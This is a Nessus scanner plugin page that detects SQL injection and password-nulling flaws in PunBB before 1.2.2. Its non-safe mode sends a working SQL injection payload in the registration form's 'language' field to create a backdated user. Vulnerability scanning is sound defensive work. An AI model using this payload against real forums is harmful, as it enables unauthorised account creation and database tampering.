PunBB < 1.2.2 Multiple Input Validation Vulnerabilities
2005-02-26T00:00:00ID PUNBB_INPUT_VALIDATION_VULNS.NASL
Type nessus
Reporter Tenable
Modified 2018-11-15T00:00:00
Type nessus
Reporter Tenable
Modified 2018-11-15T00:00:00
Description
The remote host is running a version of PunBB that fails to properly sanitize user-input to several scripts thereby enabling an attacker to launch various SQL injection attacks.
In addition, the profile.php script enables anyone to call the change_pass action while specifying the id of an existing user to set their password to NULL, effectively shutting them out of the system.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description) {
script_id(17224);
script_version("1.22");
script_cve_id("CVE-2005-0569", "CVE-2005-0570", "CVE-2005-0571");
script_bugtraq_id(12652);
script_name(english:"PunBB < 1.2.2 Multiple Input Validation Vulnerabilities");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that suffers from
multiple vulnerabilities." );
script_set_attribute(attribute:"description", value:
"The remote host is running a version of PunBB that fails to properly
sanitize user-input to several scripts thereby enabling an attacker to
launch various SQL injection attacks.
In addition, the profile.php script enables anyone to call the
change_pass action while specifying the id of an existing user to set
their password to NULL, effectively shutting them out of the system." );
script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=110927754230666&w=2" );
script_set_attribute(attribute:"see_also", value:"http://forums.punbb.org/viewtopic.php?id=6460" );
script_set_attribute(attribute:"solution", value:
"Upgrade to PunBB 1.2.2 or later." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value: "2005/02/26");
script_set_attribute(attribute:"vuln_publication_date", value: "2005/02/24");
script_cvs_date("Date: 2018/11/15 20:50:18");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
summary["english"] = "Detects input validation vulnerabilities in PunBB";
script_summary(english:summary["english"]);
script_category(ACT_MIXED_ATTACK);
script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");
script_family(english:"CGI abuses");
script_dependencie("punBB_detect.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
script_require_keys("www/punBB");
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);
# Test an install.
install = get_kb_item(string("www/", port, "/punBB"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
ver = matches[1];
dir = matches[2];
# If safe_checks are enabled, rely on the version number alone.
if (safe_checks()) {
if (
# Either the version is 1.1.x - 1.2.1 or
ereg(pattern:"^1\.(1|2$|2\.1([^0-9]|$))", string:ver) ||
# the version is unknown and report paranoia is Paranoid.
("unknown" >< ver && report_paranoia == 2)
) {
security_hole(port);
set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
exit(0);
}
}
# Otherwise, try to exploit it.
else {
# Specify a user / password to register. gettimeofday() serves
# to avoid conflicts and have a (somewhat) random password.
now = split(gettimeofday(), sep:".", keep:0);
user = string("nessus", now[0]);
pass = now[1];
# Try to create a new user.
url = "/register.php?action=register";
bound = "bound";
boundary = string("--", bound);
postdata = string(
boundary, "\r\n",
'Content-Disposition: form-data; name="form_sent"', "\r\n",
"\r\n",
"1\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="req_username"', "\r\n",
"\r\n",
user, "\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="req_password1"', "\r\n",
"\r\n",
"whatever\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="req_password2"', "\r\n",
"\r\n",
"whatever\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="req_email1"', "\r\n",
"\r\n",
user, "@example.com\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="language"', "\r\n",
"\r\n",
# nb: we're supplying values for language, style, registered,
# registration_ip, and last_visit. A value of 0 for
# 'registered' implies the user registered in 12/31/1969,
# which is the basis for our check below.
"English','Oxygen',0,'0.0.0.0',0) -- \r\n",
boundary, "--", "\r\n"
);
r = http_send_recv3(method: "POST", item: dir + url, port: port,
content_type: "multipart/form-data; boundary="+bound );
if (isnull(r)) exit(0, "The web server did not answer");
res = r[2];
# Now check the User List for the user we just created.
r = http_send_recv3(method:"GET", port:port,
item:string(dir, "/userlist.php?username=", user, "&show_group=-1&sort_by=username&sort_dir=ASC&search=Submit") );
if (isnull(r)) exit(0);
res = r[2];
# If they registered in 1969, there's a problem.
if (egrep(pattern:'class="tcr">.*1969.*</td>', string:res)) {
rep = string(
"**** Nessus has successfully exploited this vulnerability by registering\n",
"**** the user ", user, " to PunBB on the remote host;\n",
"**** you may wish to remove it at your convenience.\n"
);
security_hole(port:port, extra: rep);
set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
exit(0);
}
}
}
Protected by
